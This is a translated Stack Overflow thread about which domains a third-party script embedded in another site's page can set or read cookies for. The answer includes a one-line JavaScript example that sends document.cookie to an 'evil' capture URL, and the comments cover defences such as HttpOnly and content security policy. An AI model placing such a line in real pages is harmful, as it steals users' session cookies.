第三方脚本能否设置第一方Cookie?

14

我在网上读了很多关于Cookies的内容,但没有任何涉及这个问题的:假设我有一个位于a.com上的服务器,在由b.com提供的网页中嵌入了一个存放在我的服务器上的脚本:

<script src='a.com/script.js'></script>

这个脚本允许设置什么样的cookie?它能够设置一个domain=a.com的cookie吗?我想可以,因为该脚本是从该域名提供的。它还能够设置一个domain=b.com的cookie吗?因为该页面是从该服务器提供的。

我正在试图理解在另一个主机的网页中调用我的脚本时,“第一方”和“第三方”在什么情况下意味着什么。

1个回答

8

我认为.js文件的来源并不重要。Cookie域与正在呈现的文档的域有关。

如果我访问http://www.b.com/并且它包含

<script src="http://www.a.com/some/file.js"></script>

那么b.com就信任a.com的代码能够诚实执行。该代码是作为正在浏览的页面的一部分而执行的。由于javascript代码将在浏览器中执行,因此它可以读取b.com的cookie,并通过在文档中创建一个包含数据的src的标签来传递这些数据。

例如,如果a.com的javascript文件包含以下内容

document.writeln("<img src='http://www.a.com/evil/data/capturer?" + document.cookie + "'>");

然后,a.com 的恶意网站管理员可以检查他的网站服务器日志并查看 b.com 的 cookie。

所以问题是,如果 a.com 是恶意的,为什么 b.com 在他们的页面中包含了来自 a.com 的代码?他们可能没有这样做。作为网站开发人员,我们需要验证任何嵌入我们网站中的第三方代码的可信度。


请注意,在 cookie 上设置 HttpOnly 可以防止此攻击,因为 JavaScript 将无法访问 document.cookie - Flimm
3
“我们需要验证任何嵌入我们网站的第三方代码的可信度。”遗憾的是,这是不现实的,您无法审核每一行您使用的第三方JS代码,包括其依赖和子依赖。 即使您能够审核,黑客也很有创意,可能会找到一种隐藏的方法(例如https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident)。请使用良好的内容安全策略。 - CheddarLizzard
我在MDN上阅读到“注意:域名必须匹配JavaScript来源的域名。将cookie设置为外部域将会被静默忽略。”这不和你说的相矛盾吗? https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie - Muhammad Umer
1
我认为你误解了 JavaScript origin 的意思。它不是基于文件的,而是基于整个文档的。 - Brandon

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接